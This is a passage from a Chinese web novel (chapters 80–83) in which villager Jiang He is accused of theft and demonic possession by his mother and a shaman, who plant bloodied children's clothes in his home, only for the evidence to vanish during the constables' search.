她刚刚那番话所指向的,仿佛并不止是失窃的财物那般简单吧?
江河却在心中冷笑。
果然,这老虔婆已经迫不及待要欣赏她亲手导演的“好戏”了。
就是不知道已经被他与**给打断了胳膊腿的赵神婆,今日还能不能如约赴演?
“王三妮!你在胡说什么?!”
里正王冶山有些看不过眼,忍不住站出来训斥了王三妮一句:
“当着张捕头还有几位差爷的面,你说什么邪祟附体?我看你就是失心疯了,在这里满嘴胡言乱语呢!”
做为下河村的里正,对于村子里这几天流传出来的那些谣言,王冶山怎么可能会不知道?
只是他没想到王三妮这个疯婆子竟然这么大胆,当着张云龙等几位衙役的面,都敢提什么邪祟附体。
她这是生怕把事情闹不大,生怕他们下河村太过安生了是吧?
“王冶山,我有没有胡说,你心里最清楚!”
王三妮满面癫狂的看着王冶山,脸上带着一种令人毛骨悚然的狞笑。
之后,她不再理会王治山,而是转头看向张云龙,切声催促道:
“差爷,咱们这就快些过去吧!”
“老婆子我已经有些迫不及待了,今日这事儿就算你们不让我去,我爬也要爬过去亲眼看着!”
她这反常到近乎癫狂的亢奋状态,让周围不少村民都感到一阵寒意上涌。
特么,这是得有多大的仇,多大的怨啊?
竟让王三妮这个疯老太婆,一直都死揪着江河不放,看她这架势,这是巴不得让江河万劫不复啊?
这要是不知内情的,谁能想到就在七八天前,他们二人还是一副母慈子孝的典范母子?
张云龙阅历丰富,如何看不出王三妮的异常?
他悄然将目光转向江河,却见江河虽然一脸“愤怒”,但眼神却依旧清明镇定,不见丝毫慌乱。
显然,王三妮的这些表现,应该全都在江河的预料之中,可是江河却没有丝毫阻拦,反而还有肆意纵容的嫌疑。
这不由让张云龙心中的疑惑更深,完全不知这母子二人各自都安的什么心思,这葫芦里又卖的是什么药?
第80章 孩子咋不见了
片刻。
所有人再次汇聚到了江河家的院门前。
这一次,前来围观的村民更多,现场也更喧闹。
就连一早就下地去干活的**、江源还有赵穗、罗灵等人也被人从地里给叫了回来。
看到自家老爹的身边围了一群县里的衙役,可把**等人给吓坏了。
还以为他们老爹又犯了什么事儿,被官差给堵上门了。
“爹,爹,这是咋了?咱家怎么围了这么多人,这是又出什么事儿了?!”
**、江源、赵穗、罗灵四个大人挤开人群,紧张兮兮,面色惨白的小跑到江河的跟前,低声询问。
说话的时候,目光还不时的往张云龙等这些差役的身上瞄。
尤其是**,更是心虚得不像话。
毕竟,昨天晚上他才刚和老爹一起敲了赵神婆的闷棍,听说不但打碎了赵神婆嘴里仅剩下的几颗牙齿,就连她的双腿双臂也全都给敲断了。
现在看到有官差突然找上门来,他本能的以为这些官差就是为了昨天赵神婆挨打的事情来的。
只是让他没想到的是,这些官差是怎么这么快就找到他们的?
老爹不是说他们是在背后套的麻袋,全程又没有吭声,只要他们两个自己不承认,谁也不会知道那件事情是他们做的吗?
现在这又是咋回事儿?
“没事儿!”
似看出了**心中的忐忑与不安,江河哪里还能不明白这个三儿子在想什么,使劲儿在他的肩膀上拍了两下,道:
“是老宅那边昨晚丢了点儿东西,王三妮那个老妖婆非要说是我偷的,这不,还去报了官,请来了几位差爷,正要搜咱们家呢!”
啥?!
**愕然抬头,在心神稍安的同时,胸中又瞬时泛起了一丝惊愕与怒意。
他猛的扭头看向不远处的王三妮,愤声质问道:
“凭什么啊!”
“奶,老宅那边丢了东西,就一定是我爹偷的吗?你凭什么这么说我爹?!”
“昨天晚上大半夜里,老宅那边失了火,我爹带着我们从村西跑到村东,好心帮忙去救火,你不说句谢也就罢了,张口就说那场火是我爹放的,闹着让我爹赔钱!”
“现在更是莫名其妙,你家丢了钱,又往我爹身上赖!你们……你们这也太欺负人了!”
“怪不得我爹会说你是老妖婆,就你是这恶毒的秉性,我看我爹说得一点儿也没错,你就是老妖婆!”
“你可知道,昨天晚上救火回来后,我爹就因为太过劳累,头上的伤口疼得厉害,差点儿没有直接晕过去,最后还是我给他换了药后才好了一些。”
“换完药后爹就精神不振,直接睡下了,之后就再没有出过门,他哪有时间去你们家偷什么东西?”
呃?
见**一口气说了这么多话,且句句都在为自己老爹辩解,在场大半的村民全都不自觉的惊愕了一瞬。
这还是江家那个三棍子都打不出一个屁来的三儿子**吗?
这小子以前跟个闷葫芦似的,整天就知道在地里干活,见了人甚至都不敢开口招呼一声,怎么今天却变得这么勇了?
不但开口为自己老爹说话辩解,这话里话外也充满了对老宅对王三妮的指责与不满,哪里还能看得出一点儿面瓜的性子了?
咋的?
难道这性情大变的毛病还能传染?这才几天的工夫,就让**这个面瓜、闷葫芦也变得开窍了?
王三妮躺在门板上,看到一向畏畏缩缩、在她面前大气都不敢喘的**,竟然也敢跳出来指着她鼻子为江河说话,甚至还敢叫她“老妖婆”,简直气得肺都要炸了!
她猛的从门板上坐起身来,抬手指着**破口就骂,尖利的声音几乎要刺破所有人的耳膜:
“好哇!好啊!**,你个短命的小畜生!老娘就知道!跟你爹一样,都不是什么好东西!都是忤逆不孝的玩意儿!”
“你爹偷了老娘的养老钱,你还敢在这里帮他说话?!你还有没有良心?!”
“你从小吃到大的粮食,哪一粒不是从老宅出来的?!现在翅膀硬了,学会帮着贼爹骂你亲奶奶了?!你也不怕天打雷劈,不得好死!”
她越骂越难听,唾沫横飞四溅:
“你爹被脏东西附了身,变成了害人的邪祟,我看你也差不多了!你们一家子全都不是什么正经东西!活该你们……”
“够了!”江河一声断喝,打断了王三妮越发恶毒的咒骂。
他冷冷地盯着王三妮,上前两步,居高临下的俯视着她,一字一句道:
“王三妮,你骂我可以,但你若再敢这般恶毒地咒骂我的儿子与家人,信不信我现在就让你另一条好腿也尝尝断掉的滋味?!”
他的眼神冰冷刺骨,语气中的狠厉毫不掩饰,吓得王三妮声音一滞,后面的话硬生生咽了回去。
不过,老太婆却输人不输阵,哪怕不敢再叫骂了,却仍用那双怨毒的眼睛死死瞪着江河和**。
听到王三妮的叫骂,看到王三妮那仿佛要**的恶毒眼神,**条件反射的向后缩了下脖子。
他的脸色发白,身体微颤,就连呼吸也比方才变得粗重了几分。
但这一次,他没有像以往那样退缩、低头,或是直接跪地认错求饶。
反而在听到江河的呵斥声后,深吸了口气,猛的挺直了胸膛,虽然声音还有些发颤,却前所未有的坚定说道:
“我……我说的都是实话!昨晚爹就是一直跟我们在一起!奶……王三妮!你……你不能这样平白无故冤枉好人!”
“好!好得很!”
王三妮喘着粗气,不再跟江河纠缠,转而冲着张云龙和周围的村民尖叫道:
“差爷!诸位乡亲父老,大家都看到了吧?”
“这一家子,合着伙来欺负我这个断了腿的老太婆啊,简直就是没天理了!”
“几位差爷,你们还等什么,赶紧进去搜啊!他们家肯定藏着见不得人的东西!”
“待会儿若是搜了出来,我看这群白眼狼还有什么话说!”
王三妮情绪激动的催促着张云龙等人赶快进屋搜查。
而张云龙却淡然的站在那里,丝毫不为所动,淡声的回应了一句:
“
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江十二还有江洋父子尚未到来,现在还不是开始搜查江家的时候。”
之前说好的需要报案人全部在场才会开始搜查,张云龙自然不会言而无信,朝令夕改。
就在所有人都在安静的等待着江十二及江洋二人到来的当口,人群的外围,不时传来了几声女人的高声呼喊:
“豆子!小豆子!”
“小豆子,你跑哪儿玩去了?听到娘的声音应一声!”
“小丫,别躲了,快出来,跟奶奶回家了!”
“……”
村民们闻声回头,看到是王老四的媳妇刘桂花和王小顺的母亲王孙氏,分别在喊他们家的孩子和孙女。
二人在人群之中四下寻找,高声呼喊,脸上带着几分嗔怪和无奈。
以为两个小家伙又贪玩跑到哪个角落或是邻居家去了。
刘桂花还在跟旁边熟识的妇人抱怨着:
“这小皮猴子,一转眼就不见影,准是又钻谁家草垛去了!”
王孙氏也眼念叨道:“小丫这丫头,胆子小,估计正躲在哪儿看热闹呢。”
周围的村民们听了,也只是笑笑,并没太当回事。
乡下孩子皮实,满村乱跑是常事,一会儿自己就出来了。
然而,随着时间一点点的过去。
刘桂花和王孙氏喊了一圈,问遍了附近几家邻居,都说没看见。
两人的声音开始有些发紧,脸上的轻松渐渐被不安所取代。
“怪了,平时一喊就出来的……今天这是怎么了?”
“小豆子!别闹了,快出来!你要是再不出来,娘可要生气了!”
刘桂花不自觉的提高了音量,语气也比方才变得焦急了一些。
王老四见状,也意识到不对,开始和媳妇儿一起,在人群外围更仔细地寻找。
王孙氏那边也是一样,眼见着找不见人,也开始变得有些慌了,声音带着些颤抖,高声叫嚷道:
“小丫!小丫,你应奶奶一声啊!可千万别吓奶奶哟!”
“这死丫头,以前可从来都会跑远,今天这是怎么了……?”
见刘桂花与王孙氏似真的有些着急了,一些热心的村民也开始帮忙张望、寻找。
可找了一大圈儿,也没有看到王小豆与王小丫这两个小家伙的影子。
“老四家的,还有小顺他娘,你们先别着急,俩孩子许是一起到村外玩儿去了,所以才听不到你们的呼喊!”
“是啊,这**的,又是在咱们自己村子里,能出什么事儿?”
“既然一时找不到,说明他们现在并不在附近。你们且再等等看,说不定到了吃午饭的时候,他们就自己跑回来了……”
眼见着刘桂花与王孙氏越来越着急,担心得眼泪都快要流出来了,不少人开始出声劝慰、安抚。
村里的孩子野惯了,喜欢漫山遍野的跑着玩儿,只是一时寻不到,并不能说明什么问题。
他们自己家的孩子以前也经常这样跑着玩儿,早就已经习惯了。
现在,对于他们来说,还是留在这里看江河家的热闹更有意思些,至于找孩子的事情,一点儿也不着急。
第81章 邪祟害人
江河自然也听到了外面刘桂花与王孙氏寻找自家孩子的声音,他的目光微眯,悄然瞄向了刚刚还在叫嚣不已的王三妮。
此刻的王三妮已然完全安静了下来。
听到外面王老四、王小顺等人焦急呼唤孩子的声音,那张让人厌恶的老脸上,露出了一丝微不可察的得意及狠厉笑意。
江河见状,忍不住一声冷哼,眸光之中的森寒之意也随之变得比之前更为浓郁了几分。
老宅的这帮人,为了陷害他,为了把他身上的邪祟之名坐实,还真是无所不用其极啊!
“爹,你快看,那赵神婆……竟然也过来了!”
这时,一直站在江河身边的**,突然小声在江河的耳边惊呼了一声。
同时他目光有些慌乱的直视着人群之外,那个被几位村民同样放在门板上给抬过来的赵神婆。
江河见状,眼中眸光微闪,暗道了一句果然。
今天这场大戏,她赵神婆可是主要演员,又怎么可能会缺席呢?
哪怕昨晚她已经被他们父子二人给打断了手脚,甚至还打烂了嘴巴,打碎了牙齿,也仍然阻挡不住这个老妖婆前来唱戏的决心。
“慌什么慌,她来便让她来好了,你只需记得我昨晚给你说的那些话,屁事也不会有!”
江河轻扯了一下**的衣衫,小声的安抚交待着。
“一会儿无论发生了什么事情,记得都要沉得住气,莫要自乱了阵脚。相信我,有爹在,这天还塌不下来!”
**身形一震,原本慌乱的心绪因为江河这句话,就像是吃了定心丸一样,瞬间就变得平静安定了下来。
**深吸一口气,用力点了点头:“嗯,知道了爹,我听您的!”
两人说话间,赵神婆已经被抬到了人群近前。
只见她躺在门板上,一张老脸肿得跟猪头似的,嘴唇外翻,露出黑洞洞、没剩一颗牙的空荡口腔。
一双老鼠眼眯缝着,从内到外透着一股子阴冷邪性的寒光。
她的四肢以怪异的角度弯曲着,显然是全都被人给打断了,根本就动弹不得。
被抬到江家的院门前时,赵神婆的那双老鼠眼,死死的盯向江河,眸光之中充满了无尽的怨毒之色。
看样子,她似乎已经猜到了昨晚出手敲她闷棍的人就是江河了。
周围的村民看到她这副惨状,全都不由倒吸了一口凉气,议论纷纷。
“我的老天爷,这是赵神婆?她怎么变成这个鬼样子了?”
“啧啧啧,整张脸都被打得脱了相了,老子刚刚都差点儿没有认出来!”
“看看,还有她那张臭嘴,似乎也被人给打烂了,牙都掉光了!”
“听说是昨晚让人给敲了闷棍了,只是没想到竟然被打得这么严重。不得不说,对她出手的那个家伙,下手是真的黑啊!”
“要我说,这老妖婆也不是什么好东西,整天神神叨叨的不干人事儿,被人给敲了闷棍了也是活该!”
“就是就是,这老妖婆没事老是吓唬人,我家孩子都被她吓哭好几回了。”
“不过这话又说回来了,她都被人给揍成这个鸟样了,不在家里好好养伤,跑到这里来凑什么热闹来了?”
“那谁能知道呢,或许是听说县里来差役了,就想过来报官了呗!”
“报官?被人敲闷棍了报官有个**用,她知道是谁在背后揍了她吗?”
“……”
王三妮听到赵神婆过来了,眼中闪过一丝不易察觉的喜色。
只是,当她看到赵神婆竟然是被人给抬着过来的,且还显露出了一副比她还要凄惨严重无数倍的重伤样子,不由万分惊愕,失声尖叫道:
“哎哟喂,我的大妹子哟,你……你这是怎么搞的?才一个晚上不见,你怎么就伤成了这个样子了?!”
“是哪个天杀的下手这么狠,竟把你打成了这般模样?!”
“你告诉我,是不是江河这个混账东西在故意报复你?你放心大胆的讲,县里的差爷都在这儿呢,一定会给您做主!”
她这话,几乎是没有任何遮掩的,要把赵神婆挨打的事往江河身上引。
如此无脑的栽赃污蔑,莫说是周围的村民了,就算是张云龙等几名衙役,也不由同时紧皱起了眉头。
他们没有想到,这母子俩的关系竟然已经恶劣到了如此地步。
王三妮这个做母亲的,还真是不愿错过任何一个栽赃陷害自己这个亲儿子的机会啊。
如此也就不奇怪,她为何一口咬定就是江河偷了他们家的财物,非要吵着闹着要来搜江河他们家了。
她对江河的恨意与偏见,早就已经让她丧失了应有的理智。
赵神婆喉咙里发出“嗬嗬”的怪响,似乎想说什么,但是嘴巴漏风加上舌头肿胀,只能发出含糊的音节。
此时,她的双腿、双臂全都因为被打断了骨头,一动也不能动。
不过她却一直昂着脑袋,目光也始终紧盯着江河,眼神怨毒无比。
好似是真的想要指证江河就是敲了她闷棍的罪魁祸首一般。
“王三妮,你特么少往老子身上泼脏水。我跟赵神婆无怨无仇的,没事儿打她做什么?”
“真当老子跟你一样,就跟条疯狗一样,见谁咬谁?”
“况且,按照你之前的说辞,我昨天晚上不是应该去你们家偷东西去了吗,怎么又成了敲赵神婆闷棍的**凶手了?”
“难不成我江河还有分身术,一边去救火,一边去偷你们家东西,然后再一边去敲赵神婆的闷棍?”
江河鄙夷的轻瞥了王三妮一
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眼,胸膛挺得笔直,摆出一副光明磊落、问心无愧的模样。
昨晚他与**动手揍这老巫婆的时候,一直都在小心地警惕着周围的一切动静。
他可以十分肯定,当时周围并无任何人看到他们父子二人的行踪。
在没有人证没有物证的情况下,只凭这王三妮与赵神婆这两个老东西心中的猜测与污蔑,休想治他们的罪。
这时,抬赵神婆过来的一名年轻人,从怀里掏出一包药粉,小心地倒进了赵神婆口中。
只是片刻间的工夫,赵神婆轻咳了两声后,竟然就能开口正常说话了。
虽然说出的话语还是有些漏风,但是在场的众人已然能勉强听清她在说什么了。
“江河,你昨天夜里有没有肆意行凶,你自己心里清楚!”
赵神婆没有直接指认江河就是昨夜敲她闷棍的凶手。
因为她也知道自己没有任何证据能够证明就是江河带人打了她,就算是当着这些官差的面,她也拿江河没有办法。
不过没关系。
反正她今天过来,也不是为了揪出昨夜敲她闷棍的真凶,她也不想在这件事情上跟江河过多扯皮。
她深吸了口气,抬头环视四周,高声向在场所有的村民说道:
“诸位乡亲,其实老身今天过来这里,并不是为了老身昨夜被人给恶意敲了闷棍这件事情。”
赵神婆的声音嘶哑漏风,却带着一种让人毛骨悚然的诡异腔调,只听得她幽幽言道:
“就在刚刚,老身在家里祭祷三柳娘娘时,突然心生警兆,感应到了咱们下河村的村西方向,有冲天怨气与邪祟害人的气息!所以才让人抬着我匆忙赶来!”
她努力抬起尚能自由动弹的脖颈,目光扫过在场所有人,最后又将冰冷的眸子死死盯到了江河的身上,一字一顿道:
“老身感应到,有邪祟已经……害了人命,正在吞噬童男童女之血肉,修炼邪法,增强怨力!若不及早铲除,恐将祸及全村,血流成河啊!”
这番吓人的话语,再配合赵神婆此刻凄惨诡异的外在形象和那神神叨叨的语气,瞬间让所有村民汗**倒竖!
“有……有邪祟害了人命?!”
“还吃了童男童女的血肉来修炼……这,我的老天爷!这是真的还是假的……”
“刚刚王老四还有王小顺他们家是不是有俩孩子找不到了,该不会就是这俩孩子遭了不测吧?”
一时间,所有人的目光,全都不由自主地看向了仍在焦急寻找孩子的王老四、刘桂花和王小顺、王孙氏等两家人。
现在,整个村子里似乎就只有他们两家丢了孩子。
如果赵神婆所言为真,那被邪祟给吃掉的童男童女,除了王小豆与王小丫这俩倒霉孩子外,还能有谁?
第82章 她说我**我就**了?
此时,早就已经在村子里面流传了好几天,那个关于江河是邪祟的谣言,不自觉的在所有村民们的心中悄然泛起。
这些想法,结合着眼前两个孩子的失踪,以及赵神婆邪祟害人的恐怖言论。
让心中已经起了猜疑的众多村民,突然间不约而同的向后退了十几步,离江河和江河家的院门远远的。
有些事情就是如此,宁可信其有,不可信其无。
万一赵神婆说的是真的呢?
万一这江河真的是被邪祟附了身,变成了会害人、会**的妖魔呢?
他们现在距离江河这么近,岂不是也会有危险?
张云龙还有其余几名衙役,看到村民们的这般反应,还有身前突然空出来的这么大一片空旷区域,也不由跟着心中一突,觉得有一股莫名的寒意直袭后脊。
他们就是来办个普通的**案而已,这好端端的怎么还扯出了个邪祟来?
而且,看这架势,眼前这个所谓的赵神婆,明显就是冲着江河来的。
当着他们这些官差的面,赵神婆都敢这般说话,必然是已经掌握了十足的证据了啊
难道说,这个江河……竟还真是什么邪祟不成?
生活在这个时代的人,哪怕是官差,也不可避免的有些迷信,现在听到有人说江河可能是邪祟,哪怕还没有什么明确的证据,他们心中也不可避免的开始有些发怵起来。
“赵神婆,你怎么又在这里胡言乱语?!”
不等江河开口为自己辩解,站在人群中的贾不为贾郎中便迫不及待,甚至气急败坏的跳出来,指着赵神婆的鼻子高声斥责道:
“我跟你说过多少次了,江河他只是受伤磕到了脑袋,所以才会导致性情异于往常,跟那什么狗屁邪祟没有半文钱关系,你少在这里危言耸听!”
“诸位乡亲父老,莫要被这老巫婆的胡言乱语给吓到了,我贾某人可以用自己半辈子的医德做保,江河他绝对不是什么邪祟!”
“老族长,里正公,还有张捕头,你们可都是明事理的人,当知道邪祟之说,纯粹是无稽之谈,你们可千万别被这老巫婆给蒙蔽了啊!”
江河见状,不由暗暗为贾不为点了个赞。
这个贾郎中果然是个信人,答应了要替他解释邪祟之说的谣言,果然是说到做到。
能在这么关键的时刻果断跳出来与赵神婆硬杠,且不说他的医术如何,至少这人品是硬得没话说啊。
“贾不为!”
赵神婆见贾不为竟在这个时候跳出来坏她的好事,不由阴狠怨毒的死盯着贾不为,恨声道:
“你这庸医,到底收了江河多少好处,竟这般处处为他说话?”
“还有,老身方才有说过江河就是那只害人的邪祟吗?”
“老身方才只是说,这里有邪祟害人的气息,何曾指名道姓的说那邪祟就是江河所化?”
呃?
贾不为直接愣住了,这老妖婆没说江河是邪祟吗?
好像还真的没有明说,可是她刚刚话里话外的意思,哪一句不是直指江河?
“赵神婆,你少在这里给我咬文嚼字!”
贾不为毫不客气的出声反驳道:
“我管你刚才提没提江河的名字,你想要做什么贾某心里清楚得很!我还就告诉你了,今天有我贾某人在,谁也别想污蔑江河是什么邪祟!”
“江河是我贾某人的病人,他头上的伤就是经我的手医治的,他是邪祟还是正常受伤,谁能有我贾不为更清楚?”
说着话,贾不为信步走到江河的跟前,眼中没有丝毫畏惧之色,甚至还主动伸手拉住江河的胳膊,将他带到了明晃晃的阳光下。
之后挺直了腰板面向众人,大声向众人说道:
“大家看好了!江河他就站在这里!眼不红,嘴不尖,身上没有黑气,脚下没有邪影。会说话,会喘气,知道冷热,知道疼痛!这分明就是一个活生生的人!”
说着,他抬手拍了拍江河的肩膀,又指着江河头上的伤口:
“这伤,是我前几日亲手包扎的,是实打实的磕碰伤!
他脑子受了震荡,性情有所改变,这在我们医家看来再正常不过!跟邪祟没有半点儿关系!”
江河全程配合着贾不为的举动,面向围观的众人,脸上露出了一丝无辜且无奈的神色。
众人见状,心中刚刚因为赵神婆的言语而泛起的些许恐惧不安,不禁稍稍收敛了几分。
一些胆大的村民也仔细打量着江河,确实,有血有肉有影子,而且还不惧阳光,站在那里身上不见丝毫凶戾之态,怎么看都是个正常人啊。
“贾郎中说的有道理啊……”
“就是,我也没看出江河有什么不对劲的地方。”
“要说不对,也就江河不再像以前那样孝敬父母了,只是这有什么?老宅那边都主动跟他断了亲了,他还孝敬个什么劲儿?”
“摊上这样的爹娘,要是我我也会江河一样,跟他们老死不相往来!”
“这个赵神婆,就是喜欢吓唬人……这无凭无据的,怎么能说江河是邪祟呢?”
王三妮听到村民们的小声议论,不由急了,抬手指着贾不为尖叫道:
“贾不为!你前两天收了江河的好处,当然会替他说话了!”
“江河他是我儿子,他有没有变成邪祟,我这个当娘的能不比你更清楚?!
“自他死而复生之后,他都出手打了我这个亲娘多少次了?这要是放在以前,他敢这么做吗?”
“要我说,这个不孝子他就是被邪祟附身了!现在的他,早就已经不是我儿子了!”
赵神婆也阴恻恻地开口:
“贾郎中,你只是一个小小的乡野郎中而已,肉眼凡胎,哪里会看得清什么是人,什么是邪祟?”
“你可知道,有些邪祟附身,初期与常人无异,甚至还能掩饰得很好。但它们在暗中却是会嗜人血,**肉,尤其是喜欢童男童女的纯净血肉!”
“待吸足了人血,吃饱了**,它们就会怨力大增,彻底显形,真要是到了那时候,他们也就成了气候,再想要出手降服,可就难了!”
说话间,她再次将矛头隐隐指向江河。
“现在村里丢了两个孩子,我敢肯定,她们定是已经被那只邪祟给吃掉了,不然的话,我不会在这里感觉到如此浓郁的怨气!
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”
说着,赵神婆的目光直盯着江河,还有江河身后的院子,一副那对童男童女就是在江河家遇害的姿态。
听到这话,其他人还没有什么太大的反应。
但是站在人群之外正在寻找孩子的刘桂花与王孙氏,直接一声痛呼,双腿一软,好悬没有直接晕过去。
毕竟,赵神婆口中所说的童男童女,极有可能就是他们家的孩子啊,谁听了能不揪心害怕?
“江河!江河!”
刘桂花挣扎着站直身体,疯了一般分开人群,冲到江河的跟前,红着眼睛紧盯着江河,泣声问道:
“江河,你老实告诉我,我们家小豆子是不是在你家,他是不是已经……已经……”
王老四、王孙氏与王小顺几人也随后来到江河的近前,以同样不安、紧张与探究的目光看着江河。
“江河,你跟我们说实话,小豆子还有小丫他们,是不是被你……给藏起来了?”
“如果是的话,你现在就把他们给交出来,我们可以当做什么都没有发生……”
江河看着眼前神情激动、几乎丧失理智的刘桂花、王孙氏等人,心中既感无奈又觉得有些悲哀。
就凭着赵神婆无凭无据的几句话,他们似乎就已经认定两个孩子的失踪必然跟他江河有关系。
这是什么道理?
就算是关心则乱,你特么也不能乱成这个样子啊!
看来,之前赵神婆与王三妮几人在村里面散布的那些谣言,还是不可避免的影响到了这些村民们的基本判断。
这就是**和谣言的力量,一旦人心被恐惧和偏见占据,真相反而变得不那么重要了。
当然,这也与江河以前不当人,人缘太差有着不小的关系。
否则但凡他的人品与名声稍稍坚挺一点儿,这些谣言都不会在短短几天的时间内,泛滥到这般地步。
“四哥,四嫂子,小顺兄弟,老婶子,我江河可以对天发誓,王小豆和王小丫两个孩子的失踪,跟我没有半点儿关系!我也绝没有伤害他们分毫!”
江河轻叹了口气,抬手指了指自家敞开的院门,又指了指旁边几名看守的衙役,向王老四几人说道:
“从昨晚救火回来,我就头疼得厉害,让老三为我换过药后,倒头就睡下了,一觉睡到了刚刚张捕头他们来叫门。”
“这期间,我真是一步也没有离开过家门,更没有见过小豆子与小丫他们两个。”
“我家院子就这么大,人就这么几个,你们若是不信,可以现在就跟着官差进去搜,看看里面到底有没有藏孩子!”
“那赵神婆空口白牙,说孩子被我吃了,这不是在凭空造谣么?”
“她说我**我就**了,她说我喝人血我就喝人血了?”
“证据呢?就凭她那一张臭嘴吗?!”
“是,我江河以前确实是有些混账,也做了不少混蛋事情,但是我至少从来都不会撒谎!我说没做过的事情,那就肯定没做过!”
江河的话语斩钉截铁,眼神清澈坦荡。
倒是让王老四、刘桂花等人激动的心情稍稍平复了一些,但眼中的疑虑却并未完全消除。
第83章 东西呢?咋不见了?
这时,人群外再次传来骚动。
却是之前被张云龙派出去寻找江十二与江洋的那两名衙役,带着江家父子回来向张云龙复命了。
“差爷,你可要为我们做主啊,我们家所有的钱全都**河这个不孝子给偷走了!
现在我们是要钱没钱,要粮没粮,简直都要活不下去了啊!”
刚到近前,江十二就开始苦着个脸向张云龙诉苦报屈,希望张云龙等差役,马上把江河这个十恶不赦之徒给铐起来,下了大狱。
早就已经见识过王三妮胡搅蛮缠招式的张云龙,根本就懒得再搭理江十二。
见四名苦主全都到齐,便直接挥手下令,让在场所有的衙役全部进入江河家的院子里,开始正式搜查。
此时,王老四、刘桂花、王小顺、王孙氏等人也不再哭闹纠缠,全都围在江河家的院门前。
眼巴巴的看着那些差役们,在江河家的院子里面翻箱倒柜,仔细搜查。
他们的孩子到底有没有**河藏在家中,是不是真如赵神婆所言已经遇害,待这些差役们搜查完毕之后,自然能见分晓。
江十二与江洋父子对视了一眼之后,悄然退到了王三妮与王艳二人的身边。
趁着江十二弯身扶她坐起身来的工夫,王三妮小声向江十二问道:
“老头子,事情办得怎么样,还顺利吗?”
江十二微微点头,压低声音回道:
“放心吧,老婆子,一切都已经准备妥当,你就只管等着看戏就好了!”
“这一次,定要让江河这个不孝子吃不了兜着走!”
王三妮闻言,眼中狠厉与得意交织,仿佛已经看到了江河身败名裂、家破人亡的景象。
这个时候,她甚至都觉得自己断腿处的剧痛都减轻了几分。
江洋也凑近了些,脸上带着一丝紧张和兴奋,悄声道:
“娘,东西我都塞到灶房柴堆最底下那个老鼠洞里了,用干草盖着,不仔细翻肯定找不到,但只要有人一翻那堆干柴,准能看得到!”
王三妮赞赏地看了自己的二儿子一眼,轻摆了摆手,示意他不要再多说话,更不要一个劲儿的往江河家的灶房方向打量,免得被别人看出了端倪。
同时,王三妮也不着痕迹的朝着赵神婆所在的方向看了一眼,冲着她悄悄比划了一个万事俱备的手势。
赵神婆会意,眸光中不自觉地闪现出一丝兴奋又期待的恶毒光芒。
现在是万事俱备,只欠东风。
等到那些差役将江十二与江洋故意安放在江河家的那几件血衣搜查出来,江河就算是黄泥掉进了裤裆里,再怎么解释也没有用了!
到时候,她若是不能趁机把江河这只邪祟给彻底钉死在火刑架上,就算是她赵神婆没本事!
另一边。
江河耳聪目明,将江十二、王三妮还有赵神婆等人之间那细微的互动与眼神交流,全都看在了眼里。
他心中冷笑,面上却不动声色,仿佛根本就不知道**家与赵神婆之间的算计一般。
院子里,差役们认真搜查了将近一刻钟。
堂屋、东西厢房、厨房水缸、床底柜顶,甚至连墙缝都仔细敲打过了。
除了翻出一些寻常的破旧家什、少量糙米杂粮以及几十个铜板外,根本没发现任何可疑的大额财物,也没找到孩子的踪影。
张云龙的眉头微微蹙起。
这结果,与王三妮之前信誓旦旦的指控完全不符。
什么江河家最近突然阔起来了,又是吃肉又是喝酒又是买新衣服的,油水足得很。
结果,就这?
家里穷得特么连十斤口粮都凑不出来,有个屁的油水可榨?
再看看江河身边站着的**、江源以及赵穗、罗灵四人,一个个全都面黄肌瘦,身上穿着的衣服也都补丁落补丁,破旧不堪。
这样的家庭,哪里有半点儿富足的样子?
“张头儿,所有的房间全都已经搜遍了,这个家穷得都已经揭不开锅了,没有半点儿值钱的财物!”
这时,负责搜查的衙役陆续回来向张云龙禀报,脸上满是嫌弃与晦气之色。
早知道江河家竟然穷成了这个鬼样子,他们都不该费这个力气去尽心搜查。
现在可好,忙活了大半天,连半文钱的油水都没有捞到。
一直都在密切关注着搜查结果的王老四、刘桂花等人,见是这样一个结果,脸上的期盼之色,逐渐被失望和更深的不安所取代。
他们的孩子不在江河家,那会在哪里?
另一边的王三妮、江十二与赵神婆几人,脸上的得意和期待,也随着时间推移,慢慢僵住,继而转为疑惑和焦躁。
江洋更是忍不住,脖子伸得老长,眼睛死死盯着灶房方向,嘴里低声咕哝:
“怎么会找不到呢?我明明就将它们放在了灶房的柴火堆下,应该很好找的啊……”
“闭嘴!”江十二狠狠瞪了二儿子一眼,低声斥道,“沉住气!莫要自乱了阵脚!”
王三妮也坐不住了,她挣扎着坐起身来,扯着嗓子,高声对院内的衙役“提醒”道:
“差爷!灶房!灶房的柴火堆下面再仔细翻翻啊!那地方最能藏东西了!”
“江河这个贼骨头,以前就喜欢把东西藏在灶房里,这一次他肯定把偷来的那些财物,也全都藏在那儿了!”
她这过于急切、过于针对性的指点,让张云龙和不少村民都投来了怀疑的目光。
好家伙,这个王三妮,怎么好像比江河这个正主,还要清楚那些赃物都藏在哪里?
不知道的,还以为那些东西全都是她给藏起来的呢!
负责搜查灶房的两名衙役闻言,眼中不由露出了一丝不悦之色,直接出言反驳道:
“不可能,整个灶房都已经被我们上下翻了一遍,莫说是那些木柴下面,就算是灶膛锅底,我们也仔细搜查过,没有就是没有!”
搜家查物,他们可是专业的。
但凡有一点可能藏东西的地方,就没有能瞒得过他们的双眼的!
王三妮这个老太婆如此言语,根本就是在质疑他们的专业性。
“王三妮,休要在这里胡搅蛮缠!”<
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br>张云龙不满地瞪了王三妮一眼,淡声道:
“你若是觉得我们搜得不够仔细,大可以让你们家里人亲自过来搜查!”
“本捕头只说一句,若是待会儿连你们也搜不出什么东西来,必然要给江河一个合理的交待。
否则,这诬告反坐之罪,你们一家人怕是吃罪不起!”
江十二与江洋等的就是这句话。
张云龙的话音一落,二人就小跑着冲向灶房,直奔屋内堆放着的那堆干木柴。
他们急切地蹲下身,手脚并用地扒开最表层的柴捆与茅草,探手摸向江洋所说的那个能容得下一只手臂粗的老鼠洞。
然而,摸来摸去,除了冰凉的土壁和几根碎草,空无一物!
江洋的脸色“唰”一下变得惨白,额头上瞬间冒出了冷汗。
他不敢置信地又用手使劲往里掏了掏,甚至不顾脏污,趴在地上凑近了去看。
没有!什么都没有!
他亲手放进去的那两件染血的童衣,竟然全都不见了!
“怎么会……明明就放在这里的……”
江洋失魂落魄地喃喃自语,一股莫名的寒意从脚底直冲头顶。
真是见了鬼了!
他一刻钟前才刚刚放进来的东西,怎么突然间就不见了?!
难道说,江河家真的有邪祟?!这一切都是那只邪祟搞的鬼?!
